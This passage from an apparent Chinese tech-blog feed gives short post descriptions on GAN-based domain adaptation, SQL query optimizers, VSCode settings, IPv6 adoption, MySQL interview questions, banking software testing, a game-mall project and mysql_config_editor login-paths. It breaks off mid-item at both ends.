      <description>Generate To Adapt: Aligning Domains using Generative Adversarial Networks 生成适应:使用生成对抗网络对齐域 前言 好久没有更新了，开始记录下来，也好督促自己。记录本人预备研究生阶段相关迁移学习论文的原理阐述以及复现工作。 问题 文章介绍 这篇文章于2018年发表在CVPR，作者是Swami Sankaranarayanan，Yogesh Balaji，Carlos D. Castillo，Rama Chellappa。联合特征空间：通过模型学习到的源域和目标域之间共享的特征表示，在源域和目标域之间有较好的对齐，以便更好的进行迁移。这篇文章的主要贡献是提出了一个能够直接学习联合特征空间的对抗图像生成的无监督领域自适应方法。该方法与之前方法相比的独特之处在于，同时使用了生成式和判别式两种思想，利用图像生成的对抗过程学习一个源域和目标域特征分布最小化的特征空间。提出了一种对抗性图像生成方法，使用源域标记数据和来自目标未标记数据直接学习共享特征嵌入。生成器 G 负责生成类似于源域数据的“假”数据，希望这些数据能够与真实的源域数据相似。鉴别器 D 的任务是辨别生成的数据是真实的还是伪造的。而特征提取器 F 的目标是学习一个能够同时适应源域和目标域的特征表示，使得经过 F 提取的特征能够更好地用于任务，同时也使得生成的数据更加接近真实数据，这样鉴别器就难以将其区分开来。 模型结构 组件作用总论 上图中F是特征提取器，C是分类器，G是生成器，D是鉴别器。F用于提取源域和目标域图像特征，C用于源域数据标签的预测，G用于生成混淆视听的生成数据，D用于鉴别真实数据和生成数据。模型总共分为两个支流： 标签预测网络（源域数据的处理）：源域数据经过F得到特征，然后输入到C中进行分类，并计算交叉熵分类损失。生成对抗网络（迁移学习和域适应）：G用于生成数据混淆D的鉴别任务。G生成器通过对提取的源域数据特征进行处理（转置卷积，标签为0），产生与源域类似但不完全相同的数据，这些生成的数据被用作迁移学习中的混淆数据，G计算这些源域生成数据投入到D后的域分类损失和标签分类损失；D用于鉴别，区分真实数据和生成数据，它计算三个损失，首先是源域真实数据直接投入到D，计算域分类损失和标签分类损失，然后是G提取到的目标域生成数据投入到D计算的域分类损失。最后是G提取到的源域生成数据投入到D计算的域分类损失。 特征提取器F 源域真实数据分类损失最小化： 使 F 学习到更适合源域真实数据的特征表示&#xA;源域生成数据分类损失最小化： 使 F 能够理解并学习到源域生成数据的特征&#xA;让D误以为目标域生成数据为真： 使生成的数据更加适应目标域，混淆鉴别器D&#xA;源域真实数据标签分类损失：&#xA;源域生成数据标签分类损失：&#xA;目标域生成数据域分类损失（为了混淆，所以域标签为1）：&#xA;这些损失函数的设计和优化目的是通过调整特征提取器 F 的参数，使其能够更好地适应源域数据和目标域数据，从而实现更好的域自适应和迁移学习效果，只有直接使用源域数据的源域真实数据域分类损失是与F无关的。&#xA;鉴别器D 通过训练判定不同类型数据的真实性和分类信息。这些数据包括源域中的真实数据、生成器G生成的假数据以及目标域生成的假数据。&#xA;判定源域生成数据是否假，通过源域生成数据的域分类损失来学习，这些数据的域标签被设定为0（表示假数据）。判定源域真实数据是否真，分类误差最小化——源域真实数据域分类损失（真，域标签为1）+源域真实数据标签分类损失判定目标域生成数据是否假——目标域生成数据域分类损失（假，域标签为0） 生成器G 通过对抗训练与鉴别器D竞争，并促进特征提取器F的学习。&#xA;欺骗鉴别器D：让D误以为源域生成数据为真——源域生成数据域分类损失（为了混淆，所以域标签为1）源域生成数据分类误差最小化——源域生成数据标签分类损失 分类器C 源域真实数据分类误差最小化：源域真实数据分类损失（上面提到的鉴别器中的分类损失与分类器C的参数是不共享的，也就是说是两个意义相同但参数不同的分类器，鉴别器中有一个小分类器用于自己使用而不是使用C来计算源域真实数据分类损失）&#xA;警告 从上面对特征提取器的介绍可以看出，这篇论文中的各个组件的反向传播是独立的，很多loss都涉及到了F，但是F的反向传播只与上述三个损失有关，其他损失更新参数的时候不会更新F的参数。也就是说我们在写代码设计模型的时候要把上述四个组件分开写，分别进行反向传播。&#xA;模型的目标 通过F提取的特征图使源域和目标域的同类数据特征分布越相似，从而提高测试精度。F(src)和F(tar)对G来说是类似的，这意味着参数调整是偏向于使得F(src)和F(tar)相近，这是模型优化的目标。&#xA;代码 import torch import torch.nn as nn from torch.</description>
    </item>
    <item>
      <title>SQL进阶理论篇（十三）：数据库的查询优化器是什么？</title>
      <link>https://bchobby.github.io/posts/51a91e0c78d8bd6ec8a4c75fd6f9a5ca/</link>
      <pubDate>Tue, 19 Dec 2023 19:39:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/51a91e0c78d8bd6ec8a4c75fd6f9a5ca/</guid>
      <description> 文章目录 简介什么是查询优化器查询优化器的两种优化方式总结参考文献 简介 事务可以让数据库在增删改查的过程中，保证数据的正确性和安全性，而索引可以帮数据库提升数据的查找效率。查询优化器，则是帮助我们获取更高的SQL查询性能。&#xA;本节我们将简单过一下查询优化器的原理，主要包括以下几部分：&#xA;什么是查询优化器？具体的流程和环节？查询优化器的两种优化方式是什么？ 什么是查询优化器 一条SQL语句的执行，一般会经过以下环节，如图：&#xA;语法分析：检查SQL拼写和语法是否有问题。&#xA;语义检查：检查SQL语句中的访问对象是否存在，即表名、列名啥的；&#xA;经过语法分析和语义检查无误之后，就会生成一棵语法分析树，进行优化器优化，生成查询计划。&#xA;所以，查询优化器的目标就是找到当前SQL查询的最佳执行计划（或者说查询树），它是由一系列物理操作符组成，这些操作符按照一定的运算关系组成查询的执行计划。&#xA;而在查询优化器中，可以分为逻辑优化阶段和物理优化阶段。&#xA;逻辑优化，就是通过改变SQL语句的内容来使得查询更加高效，并为物理优化阶段提供更多的候选执行计划。&#xA;那逻辑优化是如何改变SQL语句的内容呢？&#xA;通常采用的方式是对SQL语句进行等价变换，（基于关系代数）做查询重写。比如说，对条件表达式做等价谓词重写、条件简化，对视图进行重写，对子查询进行优化，对连接语义进行外连接消除、嵌套连接消除等。&#xA;逻辑优化中的每一步都对应着物理计算，因此逻辑优化阶段输出若干候选执行计划之后，物理优化阶段会计算这些计划的代价，从中选择代价最小的作为执行计划。&#xA;因此逻辑优化属于语法层级的优化，而物理优化实际上是一种依据代价的估算模型，相当于是从连接路径中选择代价最小的路径，因此属于物理层面的优化。&#xA;查询优化器的两种优化方式 查询优化器的目的是生成最佳的执行计划，那什么是最佳，如何生成最佳执行计划？通常有两种策略：&#xA;基于规则的优化器（RBO，Rule-Based Optimizer）基于代价的优化器（CBO，Cost-Based Optimizer） 什么是基于规则的优化器？&#xA;规则就是先验知识，是人们以往的经验，或者是被证明已经是有效的方式。&#xA;通过在优化器里嵌入规则，来判断输入的SQL查询符合哪种规则，符合哪种就按照对应的规则来制定执行计划，同时采用启发式规则去掉明显不好的存取路径。&#xA;什么是基于代价的优化器？&#xA;根据代价评估模型，计算每条候选执行计划的代价，就是cost，优化器会从中选择代价最小的一条执行计划作为最佳执行计划。&#xA;相比RBO来说，CBO对数据更加敏感，因为它会利用数据表中的统计信息做判断。针对不同的数据表，相同的查询得到的执行计划可能是不同的（两种优化器的最大差异），因此制定出来的执行计划更符合数据表的实际情况。&#xA;而RBO，相同查询的规则是相同的，因此对于不同的数据表，得到的执行计划基本是一样的。&#xA;需要注意，在优化器中会存在各种组合的可能。比如说我们需要优化器来制定数据表的扫描方式、连接方式以及连接顺序等。&#xA;总结 优化器的两个阶段：逻辑优化阶段和物理优化阶段。&#xA;逻辑优化阶段是对查询语句进行重写，并输出多种候选的最佳计划。物理阶段是从多种候选计划里，找出代价最小的计划。&#xA;优化器的两种优化方式：基于规则的RBO和基于代价的CBO。&#xA;RBO是根据固有的规则来给出执行计划，很简单的一个模型，对于不同表上的相同查询，RBO可能会返回相同的执行计划，但是CBO会考虑表的数据量等条件，返回不同的执行计划。因此CBO更加贴合实际一些。&#xA;参考文献 32丨查询优化器是如何工作的？ </description>
    </item>
    <item>
      <title>vscode设置代码缩进为2个字符</title>
      <link>https://bchobby.github.io/posts/1d84fb701256e2f1661bd3e28b7a4ce9/</link>
      <pubDate>Tue, 19 Dec 2023 17:50:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1d84fb701256e2f1661bd3e28b7a4ce9/</guid>
      <description>1.左下角点击扩展图标→点击“设置”&#xA;2.常用设置→Tab Size改成 2 即可。</description>
    </item>
    <item>
      <title>vscode设置保存时代码格式自动对齐</title>
      <link>https://bchobby.github.io/posts/0731414acf7a8aa68e207ba7026f7248/</link>
      <pubDate>Tue, 19 Dec 2023 17:39:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0731414acf7a8aa68e207ba7026f7248/</guid>
      <description>1.点击左下角扩展图标→点击“设置”&#xA;2.工作区→文本编辑器→格式化→format on save 打钩&#xA;3.看看效果：&#xA;加一个数据gender，跟前面的msg、age不对齐&#xA;Ctrl+S保存后，自动对齐了</description>
    </item>
    <item>
      <title>《2023全球IPv6支持度白皮书》近日发布</title>
      <link>https://bchobby.github.io/posts/b52d117ed3c4e97a9902431b144e0052/</link>
      <pubDate>Tue, 19 Dec 2023 17:05:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b52d117ed3c4e97a9902431b144e0052/</guid>
      <description>近日，全球IPv6论坛联合中国的下一代互联网国家工程中心面向全球发布《2023全球IPv6支持度白皮书》。白皮书显示，在过去一年，全球IPv6支持度大幅提升，部署应用成效显著。全球IPv6部署率超过40%的国家数量同比增长了30%，全球IPv6用户数普遍提升，其中中国用户数快速增长位列全球首位，美国、巴西等国家IPv6用户数增加超千万。&#xA;在域名系统方面，截至2023年10月，在全球1462个顶级域中，有1442个支持IPv6，占总量的98.6%，有1437个权威服务器支持IPv6，占总量的 98.3%。&#xA;在网站支持方面，2023年全球互联网服务支持度大幅提升，尤其是网站IPv6支持情况提升明显，排名前10000的网站IPv6支持率首次超过50%，这一数据在2021年只有36%。&#xA;在软件方面，主机端常用的操作系统、邮件传输客户端、程序开发软件、数据库软件、媒体播放软件等基本都已支持IPv6，国际主流的云服务商和CDN提供商也都实现了对IPv6的支持，互联网服务的IPv6支持能力愈发成为全球化的重要标准。&#xA;网络设备方面，支持IPv6的产品种类不断丰富，目前企业交换机数量达到了2044款，企业路由器752款；家庭网关在近两年数量提升明显，达到了364款，无线路由器283款；网络安全产品平均每年也有100余款获得了认证，总量已经超过了850款。&#xA;从此次发布的《2023全球IPv6支持度白皮书》数据来看，在国家政策的积极引导下，国内IPv6规模部署和应用取得了比较明显的发展成果，IPv6+的1.0版本技术经过多年耕耘已经基本成熟，并在运营商、政府、金融、交通、教育、医疗等行业得到广泛部署。未来，IPv6技术将向2.0时代演进，更聚焦行业数字化，提升用户的业务体验，提高网络性能和服务质量。&#xA;面对IPv6产业快速发展趋势，加快网站及互联网应用生态向IPv6升级，实现IPv4向IPv6的平滑过渡，才能有效应对快速增长的IPv6用户的访问压力，为用户提供更好的网络性能和访问体验，这需要互联网产业链上下游加强合作，积极沟通交流，协同创新，需要网站和互联网应用开发商、网络设备制造商、运营商等各方共同努力，推动IPv6产业的健康发展。&#xA;作为中国科学院控股有限公司旗下企业，国科云积极响应国家政策，较早进行IPv6升级改造技术的探索和研发，提供全面的技术支持和解决方案，多年来已为众多省部级国家机关、央企、金融、科研等重点行业客户提供IPv6升级改造和解析服务，为推动IPv6产业快速稳定发展提供了有力支撑。&#xA;国科云实施的IPv6改造技术采用了IPv6 DNS域名解析服务+IPv6/IPv4转换代理的方式，与其他过渡技术相比，具备改造周期短、实施难度小、费用成本低等特点，能够满足不同行业用户对IPv6升级改造的要求，实现网站从IPv4向IPv6网络的平滑过渡，顺利通过国家IPv6监测平台审核，有效满足行业发展趋势和国家政策相关要求。</description>
    </item>
    <item>
      <title>does not provide an export named ‘default‘导入文件报错</title>
      <link>https://bchobby.github.io/posts/80fcb20eebc60319ac172216b6e9e054/</link>
      <pubDate>Tue, 19 Dec 2023 16:00:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/80fcb20eebc60319ac172216b6e9e054/</guid>
      <description>错误原因：引入的库没有使用export default 来导出，而是直接使用export导出一些属性和方法，所以无法使用【import xxx from &#39;&#39;xxx&#39;】&#xA;解决方法：通过【import { } from &#39;&#39;xxx&#39;】,&#xA;或者，如果想使用全部属性和方法，另一种方式就是通过【import * as 别名 from &#39;xxx&#39;】，通过别名就可以访问了。</description>
    </item>
    <item>
      <title>面试每日三题</title>
      <link>https://bchobby.github.io/posts/502c0953edc5a12ca3744b3a2500d415/</link>
      <pubDate>Tue, 19 Dec 2023 15:52:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/502c0953edc5a12ca3744b3a2500d415/</guid>
      <description>MySQL篇 MySQL为什么使用B+树索引 B树每个节点可以包含关键字和对应的指针，即B树的每个节点都会存储数据，随机访问比较友好，B树的叶子节点之间是无指针相连接的&#xA;B+树所有关键字都存储在叶子节点上，非叶子节点只存储索引列和指向子节点的指针，叶子节点通过指针连接形成有序双向链表，顺序访问和范围查询比较友好。叶子节点只存储索引列，假设整行数据(关键字)是16KB，索引1KB，那么相对于B树，B+树每个节点就可以存更多的数据，MySQL一次加载是把整个节点的数据全部加载到内存中&#xA;回答：&#xA;范围查询效率高：B+树的叶子节点形成了有序链表，范围查询效率较高&#xA;顺序访问性能高：B+树的叶子节点形成了双向有序链表，查找不需要经过父节点，减少了磁盘IO次数&#xA;磁盘IO更少：B+树非叶子节点只存储索引列和指针，所以每次加载数据页(节点)的时候，就能加载更多的数据，减少IO次数&#xA;内存友好：B+树的内部节点只包含键值，可以节省内存空间&#xA;索引是什么？ 回答：&#xA;索引是数据库为了加快数据访问速率而创建的额外的数据结构&#xA;最左前缀法则&#xA;如果索引了多列(联合索引)，要遵循最左前缀法则。最左前缀法则指的是查询从索引的最左列开始，并且不跳过索引中的列。如果跳跃了某一列，索引将部分失效(后面的索引失效)。 只要最左边的索引存在就可以走索引，跟sql语句中的位置无关&#xA;范围查询&#xA;联合索引中，出现范围(&amp;gt;，&amp;lt;)，范围查询右侧的列索引失效 ​ 要想不失效，在业务允许的范围内，尽量把&amp;gt;&amp;lt;替换成&amp;gt;=，&amp;lt;=&#xA;索引失效情况 ①在索引列上进行运算操作，索引将会失效&#xA;​ ②字符串类型使用时，sql语句没加单引号，索引会失效&#xA;​ ③模糊查询，头部模糊匹配的时候，索引将会失效&#xA;​ ④or分割开的条件，一个有索引，一个没有索引，则涉及的索引都不会被用到&#xA;​ ⑤MySQL评估使用索引比全表扫描更慢，则不适用索引&#xA;数据库连接方式 1.内连接：只要两个表中存在匹配的行，两个表中所有字段都会返回&#xA;2.左连接：返回左表的所有行以及右表中匹配到的行，右表没有匹配的就返回null&#xA;3.右连接：返回右表的所有行以及左表中匹配到的行，左表没有匹配的就返回null&#xA;4.全连接：返回左表和右表中的所有行，如果没有匹配返回null&#xA;varchar和char varchar可变长度，只占用实际存储的字符的长度&#xA;char长度固定，长度未满则补位&#xA;datetime和timestamp 相同点：&#xA;存储格式相同都为 yyyy-MM-dd HH:mm:ss&#xA;不同点：&#xA;日期范围不同：datetime是1000-01-01 00:00:00.000000 ~ 9999-12-3123:59:59.999999&#xA;​ timestamp是1970-01-01 00:00:01.000000 ~ 2038-01-09 23:59:59.999999&#xA;时区不同：datetime不依赖时区，timestamp依赖时区&#xA;默认值不同：datetime默认值为null，timestamp默认值是当前时间&#xA;最左前缀法则 最左前缀原则是指在联合索引中只有从最左侧列开始连续使用时，索引才能被有效利用。如果一个查询只用了联合索引中的部分列，只有从索引的最左侧开始连续使用才有效，间隔的后面的列是不走索引的&#xA;最左前缀原则不限制查询条件的顺序，但如果查询条件不满足最左前缀原则，就不会走索引&#xA;索引覆盖 简单来说，当需要查询的数据列都含于我们创建的联合索引中，在查询过程中只使用索引而不需要回表查询到数据页来获取查询结果，避免额外的磁盘读取操作，提高查询性能&#xA;需要注意的是，索引覆盖并不适用于所有的优化方案，当需要返回大量数据列，我们单纯的创建多列的联合索引，那么索引维护成本过高，得不偿失&#xA;聚集索引和二级索引 聚集索引B+树最下面的叶子节点挂的是这一行的数据&#xA;二级索引B+树最下面的叶子节点挂的是索引列和对应的主键id&#xA;Redis篇 Java基础篇 Java 和 C++ 的区别?</description>
    </item>
    <item>
      <title>【银行测试】金融行业-银行测试类型分类，功能/业务/性能...</title>
      <link>https://bchobby.github.io/posts/07f46f7b0559283ee20bb5660860d210/</link>
      <pubDate>Tue, 19 Dec 2023 15:40:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/07f46f7b0559283ee20bb5660860d210/</guid>
      <description>目录：导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结（尾部小惊喜） 前言 银行的软件测试是针对银行的软件系统（如柜面系统、信贷系统）和银行专用设备（如ATM机、自助柜员机等）进行的一系列测试工作。&#xA;1、银行测试人员的组成&#xA;目前银行测试人员分为行方人员和非行方人员（外包）。&#xA;银行测试的主要执行人为非行方人员，其主要任务为分析需求、设计用例、执行用例、缺陷跟踪复测。行方人员主要角色为管理层，把控项目进度以及上线时间并处理线上的一些问题。&#xA;2、银行测试的侧重点&#xA;因为银行的软件系统一般都是以业务为主体，所以测试的时候要特别关注整个系统的业务流程是否是顺畅的、无阻碍的。&#xA;例1：:&#xA;A银行的柜面系统刚刚完成改造，我们回去验证这个新柜面系统的一些基本业务是否能够正常进行，比如开户流程、存取款流程。&#xA;例2：:&#xA;B银行的信贷系统刚刚建立，我们回去验证这个信贷系统是否可以走完整贷前、贷中、贷后等业务流程，测试人员还要检验信贷系统和核心、风控等系统的对接是否正常来确保被测系统和与之有关联的系统之间的业务不阻塞，也确保系统与系统之间不会因为一些异常的操作和请求导致出现错误。&#xA;通过以上举例可以表明，银行的各个系统不是孤立的，是有业务联系的，因此测试时不仅要关注系统本身的功能也要关注业务流程和系统与系统之间的关联。&#xA;3、 银行测试类别划分&#xA;1）功能测试&#xA;验证银行某系统的某个功能模块是否可以正常工作。&#xA;比如网银系统中的转账模块，就要通过转账操作来测试该模块功能是否正常。&#xA;2）业务测试&#xA;验证业务系统的功能是否正确实现，测试其业务处理的准确性。&#xA;3）业务流程测试&#xA;业务流程的测试，为了保证业务能正常开展，在上线前要对整个业务流程进行详细的测试工作。&#xA;比如一个网贷业务系统，网贷是线上贷款系统，借款人可以通过贷款平台的手机APP直接在线进行贷款申请、借款、还款等操作、方便快捷，因此由银行（行方）出资贷款平台（平台方）负责吸收客户的网贷系统应运而生。&#xA;一般网贷涉及的系统会有平台方系统、渠道系统（行方提供的对外连接渠道，有加密、转译等功能）、网贷业务系统、核心系统、风控系统等。&#xA;以网贷的借款流程为例：&#xA;用授信申请通过的客户信息从平台方发送借款申请，申请经由渠道系统到达业务系统，再由业务系统发送到风控审核，风控将审核结果返回给业务系统（比如申请通过的结果），再由业务系统调用核心系统进行放款，核心放款成功，业务系统将放款结果经由渠道系统发送至平台方。&#xA;通过以上业务流程可以看出银行测试不是单方面的验证某一个系统的功能，而是根据业务规则对整个业务涉及到的系统都会做一个全流程的测试。&#xA;4）客户端测试&#xA;客户端主要针对的是软件界面功能的测试，根据功能划分一般涉及以下几类：&#xA;系统管理类系统管理主要包括系统参数管理、用户管理、角色管理、权限分配等，测试也包含相应的业务逻辑及页面测试，如查询功能的测试、显示风格、验证客户端页面显示数据是否正确等。&#xA;数据查询类主要验证数据查询结果客户端显示是否正确。&#xA;其它涉及业务操作的功能界面主要针对客户端界面的录入、查询等功能进行测试。&#xA;客户端测试还会对界面的友好性、提示信息的合理性等进行测试。&#xA;5）接口测试&#xA;对于银行来说，通常行内系统和与银行外对接的系统是独立开发的，行内与行外系统采用的数据库、通讯协议等都可能存在差异；&#xA;并且对于银行来说，还可能存在多个系统，如：网上银行、ACE/柜面、电话银行、呼叫中心、信贷、资产托管、资金风险监控分析系统等。&#xA;并且各个系统之间可能关联特别紧密，存在许多交互；因此，在测试中会涉及到相关系统接口的测试，这时通常需要构造对接系统的测试环境、数据、业务等来模拟对接系统。&#xA;接口测试一般在功能测试阶段完成，功能测试计划中应包含接口测试。&#xA;6）数据移植测试&#xA;对于银行来说，软件产品经常存在更新换代或升级的情况，新系统的运行环境和旧系统可能不一致。&#xA;因此，为了保证系统的顺利运行，在新系统研发出来，准备上线之前，需要把原来旧系统的客户历史数据移植过来，这就涉及到了数据移植问题。&#xA;数据移植并不是简单的数据迁移，因为新旧系统之间数据字典是不同的，为了保证移植结果的正确性，需要对新旧数据库的数据进行比对，通常可以通过人工方法或开发比对工具进行比对。&#xA;数据移植测试往往需要测试人员有足够的耐心，能仔细进行比对，发现存在的问题。数据移植测试一般在功能测试阶段完成，功能测试计划中应包含数据移植的测试。&#xA;7）性能测试&#xA;性能测试的目的主要是验证业务系统是否满足业务需求的多用户并发操作，是否满足业务性能需求，评估压力解除后的自恢复能力，测试系统性能极限。&#xA;在性能测试过程中，通过性能测试工具来模拟与真实环境接近的情况，如通过测试程序在同一时间内或某一段时间内，向系统发送预期数量的交易请求、测试系统在不同压力情况下的效率，获得一定的参数（如：(如内存、CPU、缓存、系统响应时间、最大吞吐率、事务平均处理时间），以及系统可以承受的压力情况，进行针对性的测试与结果分析，找到影响系统性能的瓶颈，以便对系统进行优化。&#xA;8）安全性测试&#xA;安全性测试目的主要是评估业务系统在网络安全、主机安全、应用安全、数据安全、运行维护安全、电子认证安全、业务连续性等方面的能力及管理措施，评价其业务系统的安全防控和安全管理水平。&#xA;对于金融行业软件来说，安全性有着重大的意思。&#xA;通常用的安全性检查手段及检查点如：跨站攻击、弱点攻击、管理界面泄露、敏感信息泄露、跨站点请求伪造、恶意上传等。&#xA;9）风险监控测试&#xA;主要目的是评估业务系统的风险监控、预警和管理措施，测试其业务系统异常交易、大额交易、非法卡号交易、密码错误交易等风险的监测和防范能力以及系统资源占用的监控。&#xA;风险监控测试一般在功能测试阶段或性能测试阶段完成，功能测试或性能测试计划中应包含风险监控的测试。&#xA;10）文档审核&#xA;目的主要是验证业务系统的用户文档、开发文档、管理文档等是否完整、有效、一致，是否符合相关标准并遵从更新控制和配置管理的要求。&#xA;文档审核最基本的原则是软件实现必须按照用户需求文档来进行设计和实现。&#xA;11）自动化测试&#xA;现阶段实施的自动化测试与手工测试相比较，就是采用程序模拟手工测试的过程。在自动化测试过程中，原来由手工控制的操作，现在由程序来控制，不再进行手工干预。&#xA;自动化测试主要用于功能测试，测试过程包括脚本的录制、编写及回放。&#xA;下面是我整理的2023年最全的软件测试工程师学习知识架构体系图 一、Python编程入门到精通 二、接口自动化项目实战 三、Web自动化项目实战 四、App自动化项目实战 五、一线大厂简历 六、测试开发DevOps体系 七、常用自动化测试工具 八、JMeter性能测试 九、总结（尾部小惊喜） 即使面临黑暗与困苦，也要坚信曙光在前方。让我们以勇气为剑，信念为盾，勇往直前地在奋斗之路披荆斩棘，因为每一次的拼搏都是对潜力的挖掘，对梦想的追逐。</description>
    </item>
    <item>
      <title>基于SSM springboot框架的游戏商城平台源码</title>
      <link>https://bchobby.github.io/posts/3ba592edc37992f647a37caee58e2554/</link>
      <pubDate>Tue, 19 Dec 2023 15:04:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3ba592edc37992f647a37caee58e2554/</guid>
      <description>1．本课题的研究目的和意义：&#xA;随着计算机技术在各行各业广泛并深入应用，网络在各行各业的发展中占据了重要的地位，而现在的商品宣传已经不仅仅局限于电视和报纸，网络已然成为了商家展示自己商品的一大途径，通过电商网站，来实现商品的宣传与网上购物，而且电商网站改变了原有的经营方式的同时，也给商家带来了更高的利润，另外如果能实现网上交易将大大提高交易速度节约交易成本。能够及时的、准确的提高工作效率，取得经济效益和社会效益。所以，对商家来说，通过电商网站来盈利至关重要。&#xA;随着网络游戏产业盈利模式的完善与获利思路的改变，免费网络游戏开始猛烈地冲击传统收费游戏 所谓免费网络游戏 , 即摒弃原有的计时收费模式 , 让玩家可以永久免费进行游戏 , 从而吸引更广泛的客户群体 , 游戏厂商则通过增殖服务收费 。这一模式也被业界称为IB模式（Item Billing,即道具销售）。&#xA;而一个游戏商城能够让用户以及商家提供一个渠道，例如最近很火的一款国外的游戏平台(STEAM游戏平台)，既能通过出售正版游戏和游戏道具盈利，又能让用户更方便，更优惠地购买游戏以及游戏道具，同时能在谈论区中相互交流对游戏的体验。而商家则多了一个销售自己商品的平台，也能在讨论区中了解买家对哪些商品更需要，因此，一个游戏商城能极大地满足了玩家与商家的需求。&#xA;【579】基于SSM springboot框架的游戏商城平台源码论文开题报告任务书&#xA;本课题的文献综述（不少于1500字） 据艾瑞咨询《2011-2012年中国电子商务行业年度监测报告》显示，2011年中国电子商务市场交易规模为6.3万亿元，年增长32.4%，在GDP总额47.2万亿中占比13.4%。另据咨询机构IDC（国际数据公司）与阿里巴巴集团研究中心公布的数据显示，2011年中国网民在线购物交易额达到7849.3亿元，比2010年增长了66%，远远超过同期中国社会消费品零售总额实际增长率11.6%。可见，中国电子商务显示出了巨大的发展潜力，正成为经济发展的&#34;助推器&#34;。而最近，国外调研机构Newzoo的调研显示，中国是全球最大的移动电竞市场。据《中国游戏产业报告(2017年1月至6月)》显示，2017年上半年，中国电子竞技游戏市场实际销售收入达到359.9亿元，同比增长43.2%，占中国游戏市场实际销售收入的36.1%；其中，移动电子竞技游戏市场实际销售收入达到176.5亿元，同比增长100.6%，占移动游戏市场实际销售收入31.4%。&#xA;随着全球互联网的发展以及电脑、智能手机、平板电脑等电子设备的更新换代，网络游戏载体、类型不断丰富，游戏品质不断提高，各细分游戏类型均有庞大的受众群体，全球游戏市场迅速崛起，市场规模逐步扩大。网络游戏和移动游戏的营业收入开始呈现爆炸式增长；移动游戏顺应了游戏用户对碎片化时间、移动化场所的娱乐需求，市场占有率持续上升，成为网络游戏行业增长的主要驱动力。在网络游戏发展如火如荼的中国市场,免费大型多人在线角色扮演游戏(MMORPG)在各类网游模式中异军突起,引起了业内的注目。以永久免费打造进入游戏的超低门槛,以精心设计的IB模式作为盈利的主要手段,免费MMORPG在吸引了众多玩家的同时,也逐渐成为游戏厂商激烈厮杀的红海。免费MMORPG虽然号称永久免费,但综观总体玩家消费情况来看,能够长时间进行游戏却真正意义上零消费的玩家并不占据主流,很多玩家消费水平甚至超过了收费网络游戏玩家的消费水平。&#xA;而在游戏发展如此迅速的情况下，一个游戏商城能极好的发挥其作用，在为用户提供一个购买游戏虚拟物品平台的同时，也为商家带来商机。游戏商城本质上属于一种在线商城。在线商城是一种电子商务，基于商家与消费者模式(Business to Customer), 阿里巴巴的成功使得在线商城成为热门的话题。该模式在近年来都有比较成熟的应用，旧M、EMC等国际上比较知名的科技企业都采用这种B to C模式，客户能够在线购买这些公司的产品。随着中国网民数量的不断增长，以及互联网结构和功能的进一步向生活渗透，网络环境的逐步优化，网络世界将变的更加个性化和多元化。电子商务模式的运作和开发，也随着技术手段的不断发展，己经变得成熟。&#xA;国内外目前对游戏运营的研究，在商业模式、市场分析和运营方式等方面较为集中。技术方面，则集中在游戏算法改进、引擎开发等领域。概括来讲，各个方面的研究都有不同程度的存在，相互之间较为孤立。随着大数据时代的到来，数据挖掘技术在网页游戏中也有一定的应用。对于很多研究学者来说，技术和运营属于两种领域，这种出于运营需求而进行的平台系统研发也就很少纳入考虑。目前，对此类运营管理平台的研发数量极少。主要原因是此种平台具有很强的针对性，对于规模较小的公司，该平台的研发似乎没有特别的必要性。当今市场上也存在游戏运营平台，但这类平台与本文论述的游戏商城还是有着一定的区别，它们大都是第三方交易平台。本系统一方面作为交易平台，另一方面也是管理平台。&#xA;根据上述数据及推论，在游戏发展如此迅速的情况下，游戏商城能更好地体现其价值，能让玩家享受到便捷的同时，还能在商城中的讨论区中发表自己对游戏的体验，实现玩家与玩家之间的交流。与此同时，为商家提供了销售商品的渠道，能够对自己的商品进行宣传与推广。可以说，游戏商城在为玩家提供便利，为商家提供商机的同时，也推动着游戏的发展，实现互惠互利的作用。因此，游戏商城的存在是必然的，是对游戏的支持，更是游戏时代的重要体现。&#xA;【579】基于SSM springboot框架的游戏商城平台源码论文开题报告任务书&#xA;package com.market.controller; import java.io.File; import java.io.IOException; import java.lang.ProcessBuilder.Redirect; import java.text.ParseException; import java.util.HashMap; import java.util.UUID; import javax.print.DocFlavor.STRING; import javax.servlet.http.HttpServletResponse; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.boot.jackson.JsonObjectDeserializer; import org.springframework.stereotype.Controller; import org.springframework.validation.BindingResult; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.multipart.MultipartFile; import org.springframework.web.servlet.ModelAndView; import com.alibaba.fastjson.JSON; import com.</description>
    </item>
    <item>
      <title>安全管理MySQL凭证：使用mysql_config_editor设置login-path</title>
      <link>https://bchobby.github.io/posts/95f523aab151a0234800153b2114e854/</link>
      <pubDate>Tue, 19 Dec 2023 14:16:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/95f523aab151a0234800153b2114e854/</guid>
      <description>MySQL是世界上最流行的开源数据库之一，广泛用于各种应用程序中。随着安全意识的提高，数据库的安全管理变得尤为重要。mysql_config_editor工具允许用户安全地在本地文件中保存MySQL客户端程序的认证凭证，而无需在命令行中暴露它们。本文将指导你如何使用mysql_config_editor设置login-path，以及如何使用它通过mysql客户端安全登录。&#xA;什么是mysql_config_editor？ mysql_config_editor是MySQL自5.6版本起附带的一个实用工具，它允许用户创建一个名为.mylogin.cnf的加密登录文件，用于存储认证信息。这样，用户就不需要在使用mysql客户端工具时在命令行中输入用户名和密码。&#xA;设置login-path 1. 安装mysql_config_editor 在使用mysql_config_editor之前，请确保MySQL客户端已经安装在你的系统上。通常，它与MySQL服务器软件一起安装。&#xA;2. 创建login-path 打开终端或命令提示符，使用以下命令创建一个新的login-path：&#xA;mysql_config_editor set --login-path=local --host=localhost --user=username --password 